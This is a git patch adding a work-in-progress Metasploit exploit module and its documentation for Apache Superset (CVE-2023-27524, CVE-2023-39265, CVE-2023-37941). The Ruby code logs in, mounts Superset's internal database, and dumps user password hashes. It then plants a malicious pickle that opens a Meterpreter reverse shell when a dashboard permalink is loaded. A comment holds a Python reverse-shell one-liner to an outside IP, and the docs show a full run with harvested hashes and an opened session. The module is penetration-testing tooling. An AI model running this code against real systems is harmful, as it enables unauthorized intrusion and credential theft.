From b723954ee7661912d570ee8764317eb465450730 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 7 Sep 2023 16:02:31 -0400 Subject: [PATCH] superset rce wip --- .../http/apache_superset_cookie_sig_rce.md | 96 ++++ .../http/apache_superset_cookie_sig_rce.rb | 448 ++++++++++++++++++ 2 files changed, 544 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md create mode 100644 modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb diff --git a/documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md b/documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md new file mode 100644 index 0000000000000..2ad1caa478c98 --- /dev/null +++ b/documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md @@ -0,0 +1,96 @@ +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## App Install + +``` +sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0 +sudo docker exec -it superset superset fab create-admin \ + --username admin \ + --firstname Superset \ + --lastname Admin \ + --email admin@superset.com \ + --password admin +sudo docker exec -it superset superset db upgrade +sudo docker exec -it superset superset init +``` + +Login to the app, click 'list users' under 'Settings', then click '+'. Make a new user with 'Public' as the role. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/linux/http/apache_superset_cookie_sig_rce` +1. Do: `set rhost [ip]` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. You should get a shell. + +## Options + +## Scenarios + +### Apache Superset 2.0.0 on Docker + +``` +msf6 > use exploit/linux/http/apache_superset_cookie_sig_rce +[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set username admin +username => admin +msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set password admin +password => admin +msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set lhost 192.168.154.74 +lhost => 192.168.154.74 +msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > exploit + +[*] Started reverse TCP handler on 192.168.154.74:4444 +[*] Attempting login +[*] 127.0.0.1:8088 - CSRF Token: IjRjNDFiNzM3MjUwOWMzZWJkY2YwNWM4N2JkOTRhZjJlY2YwOWI3NDUi.ZPoroQ.Jhv-EqwwbX7Un77JmCd-fPRO0jw +[*] 127.0.0.1:8088 - Attempting login +[*] Attempting to pull user creds from db +[*] Grabbing CSRF token +[+] CSRF Token: IjRjNDFiNzM3MjUwOWMzZWJkY2YwNWM4N2JkOTRhZjJlY2YwOWI3NDUi.ZPoroQ.Jhv-EqwwbX7Un77JmCd-fPRO0jw +[+] Successfully created db mapping with id: 1 +[*] Creating new sqllab tab +[+] Using tab: 1 +[*] Setting latest query id +[*] Harvesting superset user creds +[+] Superset Creds +============== + + Username Password + -------- -------- + admin pbkdf2:sha256:260000$GDv10qGetjVq8CIX$735ed1e400e2e2ebbdfd294f60f2e2800177874bc2455761cd799e14f7df6cd2 + +[*] Attempting RCE +[*] Creating new dashboard +[+] New Dashboard id: 1 +[*] Grabbing permalink to new dashboard to trigger payload later +[+] Dashboard permalink key: eybwJ7EVjR3 +[*] Setting latest query id +[*] Uploading payload +[*] Triggering payload +[*] Sending stage (24768 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.154.74:4444 -> 172.17.0.2:53892) at 2023-09-07 15:59:31 -0400 +[*] Deleting dashboard +[*] Deleting sqllab tab +[*] Deleting database mapping + +meterpreter > getuid +Server username: superset +meterpreter > sysinfo +Computer : 1e681df9b6fe +OS : Linux 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) +Architecture : x64 +System Language : C +Meterpreter : python/linux +``` diff --git a/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb b/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb new file mode 100644 index 0000000000000..d1720fe6be12a --- /dev/null +++ b/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb @@ -0,0 +1,448 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache Superset Signed Cookie RCE', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in a webapp. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # MSF module + 'paradoxis', # original flask-unsign tool + 'Spencer McIntyre', # MSF flask-unsign library + 'Naveen Sunkavally' # horizon3.ai writeup and cve discovery + ], + 'References' => [ + ['URL', 'https://github.com/Paradoxis/Flask-Unsign'], + ['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'], + ['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'], + ['URL', 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/'], + ['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'], + ['EDB', '51447'], + ['CVE', '2023-27524'], + ['CVE', '2023-37941'] # rce + ], + 'Platform' => ['python'], + 'Privileged' => false, + 'Arch' => ARCH_PYTHON, + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'python/meterpreter/reverse_tcp' + }, + 'DisclosureDate' => '2023-09-06', + 'DefaultTarget' => 0, + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + Opt::RPORT(8088), + OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), + OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), + OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']) + ] + ) + end + + def check + res = send_request_cgi!({ + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'login') + }) + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + return CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string' + unless res.body =~ /"version_string": "([\d.]+)"/ + return CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string") + end + + version = Rex::Version.new(Regexp.last_match(1)) + if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1') + Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable") + else + CheckCode::Safe("Apache Supset #{version} is NOT vulnerable") + end + end + + def hexlify(data) + # https://github.com/camertron/binascii/blob/v1.0.1/lib/binascii/hex.rb#L13-L23 + b2a_table = (0...256).each_with_object({}) do |b, ret| + ret[b] = b.to_s(16).rjust(2, '0') + end + + String.new('', encoding: 'ASCII-8BIT').tap do |result| + data.each_byte do |byte| + result << b2a_table[byte] + end + end + end + + def login + res = send_request_cgi!({ + 'uri' => normalize_uri(target_uri.path, 'login'), + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/ + + @csrf_token = Regexp.last_match(1) + vprint_status("#{peer} - CSRF Token: #{@csrf_token}") + print_status("#{peer} - Attempting login") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login', '/'), + 'keep_cookies' => true, + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'csrf_token' => @csrf_token + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In' + end + + def set_query_latest_query_id + vprint_status('Setting latest query id') + client_id = Rex::Text.rand_text_alphanumeric(8, 12) + data = Rex::MIME::Message.new + data.add_part('"' + client_id + '"', nil, nil, 'form-data; name="latest_query_id"') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id), + 'keep_cookies' => true, + 'method' => 'PUT', + 'data' => data.to_s, + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + client_id + end + + def cve_2023_39265 + # first, get our CSRF token + vprint_status('Grabbing CSRF token') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'superset', 'welcome/'), + 'keep_cookies' => true + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /id="csrf_token"[\n\s+]+?value="([^"]+)"/ + + @csrf_token = Regexp.last_match(1) + vprint_good("CSRF Token: #{@csrf_token}") + + # use cve-2023-39265 bypass to mount superset's internal sqlite db + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => { + 'engine' => 'sqlite', + 'configuration_method' => 'sqlalchemy_form', + 'catalog' => [{ 'name' => '', 'value' => '' }], + 'sqlalchemy_uri' => 'sqlite+pysqlite:////app/superset_home/superset.db', + 'expose_in_sqllab' => true, + 'database_name' => Rex::Text.rand_text_alphanumeric(6, 12), + 'allow_ctas' => true, + 'allow_cvas' => true, + 'allow_dml' => true, + 'allow_multi_schema_metadata_fetch' => true, + 'extra_json' => { + 'cost_estimate_enabled' => true, + 'allows_virtual_table_explore' => true + }, + 'extra' => { + 'cost_estimate_enabled' => true, + 'allows_virtual_table_explore' => true, + 'metadata_params' => {}, + 'engine_params' => {}, + 'schemas_allowed_for_file_upload' => [] + }.to_json + }.to_json + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201 + + j = res.get_json_document + @db_id = j['id'] + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @db_id.nil? + print_good("Successfully created db mapping with id: #{@db_id}") + + # create new query tab + vprint_status('Creating new sqllab tab') + data = Rex::MIME::Message.new + data.add_part('{"title":"' + Rex::Text.rand_text_alphanumeric(6, 12) + '","dbId":' + @db_id.to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}', nil, nil, 'form-data; name="queryEditor"') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'tabstateview/'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => data.to_s + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + j = res.get_json_document + @tab_id = j['id'] + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @tab_id.nil? + print_good("Using tab: #{@tab_id}") + + # tell it we're about to submit a new query + client_id = set_query_latest_query_id + + # harvest creds + vprint_status('Harvesting superset user creds') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => { + 'client_id' => client_id, + 'database_id' => @db_id, + 'json' => true, + 'runAsync' => false, + 'schema' => 'main', + 'sql' => 'SELECT username,password from ab_user;', + 'sql_editor_id' => '1', + 'tab' => 'Untitled Query 1', + 'tmp_table_name' => '', + 'select_as_cta' => false, + 'ctas_method' => 'TABLE', + 'queryLimit' => 1000, + 'expand_data' => true + }.to_json + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + creds_table = Rex::Text::Table.new( + 'Header' => 'Superset Creds', + 'Indent' => 2, + 'Columns' => + [ + 'Username', + 'Password' + ] + ) + + j = res.get_json_document + j['data'].each do |cred| + creds_table << [cred['username'], cred['password']] + # XXX add to database + end + + print_good(creds_table.to_s) + end + + def cve_2023_37941 + # create new dashboard + vprint_status('Creating new dashboard') + res = send_request_cgi( + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'dashboard', 'new/') + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 + + res.headers['location'] =~ %r{dashboard/(\d+)/} + @dashboard_id = Regexp.last_match(1) + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to detect dashboard ID from location header: #{res.headers['location']}") if @dashboard_id.nil? + print_good("New Dashboard id: #{@dashboard_id}") + + # get permalink so we can trigger it later for payload execution + vprint_status('Grabbing permalink to new dashboard to trigger payload later') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id, 'permalink'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => { + filterState: {}, + urlParams: [] + }.to_json + ) + permalink_key = res.get_json_document['key'] + print_good("Dashboard permalink key: #{permalink_key}") + + # tell it we're about to submit a new query + client_id = set_query_latest_query_id + + # Here's the python of the payload pickle generator + # import pickle + # from binascii import hexlify + # import os + # import argparse + # import base64 + + # command = "python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.255.200\",9000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'" + + # class PickleRCE: + # def __reduce__(self): + # return os.system, (command,) + + # payload = pickle.dumps(PickleRCE(), protocol=0) + # print(f'Raw Payload: {payload}') + # print() + # print(f'Hex: {hexlify(payload).decode()}') + pickled = %|cposix\nsystem\np0\n(V| + pickled << %(python -c "#{payload.encoded}"\np1\ntp2\nRp3\n.) + pickled = hexlify(pickled) # hexlify + + vprint_status('Uploading payload') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => { + 'client_id' => client_id, + 'database_id' => @db_id, + 'json' => true, + 'runAsync' => false, + 'schema' => 'main', + 'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", + 'sql_editor_id' => '1', + 'tab' => 'Untitled Query 1', + 'tmp_table_name' => '', + 'select_as_cta' => false, + 'ctas_method' => 'TABLE', + 'queryLimit' => 1000, + 'expand_data' => true + }.to_json + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + print_status('Triggering payload') + res = send_request_cgi( + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/') + ) + # we go through some permalink hell here + until res.headers['Location'].nil? + res = send_request_cgi( + 'keep_cookies' => true, + 'uri' => res.headers['Location'] + ) + end + + # 404 error and we win. + end + + def exploit + # attempt a login. In this case we show basic auth, and a POST to a fake username/password + # simply to show how both are done + @db_id = nil + @csrf_token = nil + @tab_id = nil + @dashboard_id = nil + vprint_status('Attempting login') + login + vprint_status('Attempting to pull user creds from db') + cve_2023_39265 + vprint_status('Attempting RCE') + cve_2023_37941 + end + + def cleanup + super + # unset keyvalue, prob can't do.... but maybe we just blank it out XXX + # delete dashboard + unless @dashboard_id.nil? + print_status('Deleting dashboard') + send_request_cgi( + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id), + 'method' => 'DELETE', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + } + ) + end + + # delete sqllab tab + unless @tab_id.nil? + print_status('Deleting sqllab tab') + send_request_cgi( + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id), + 'method' => 'DELETE', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + } + ) + end + + # delete mapping to stock database + unless @db_id.nil? + print_status('Deleting database mapping') + send_request_cgi( + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', @db_id), + 'method' => 'DELETE', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + } + ) + end + end +end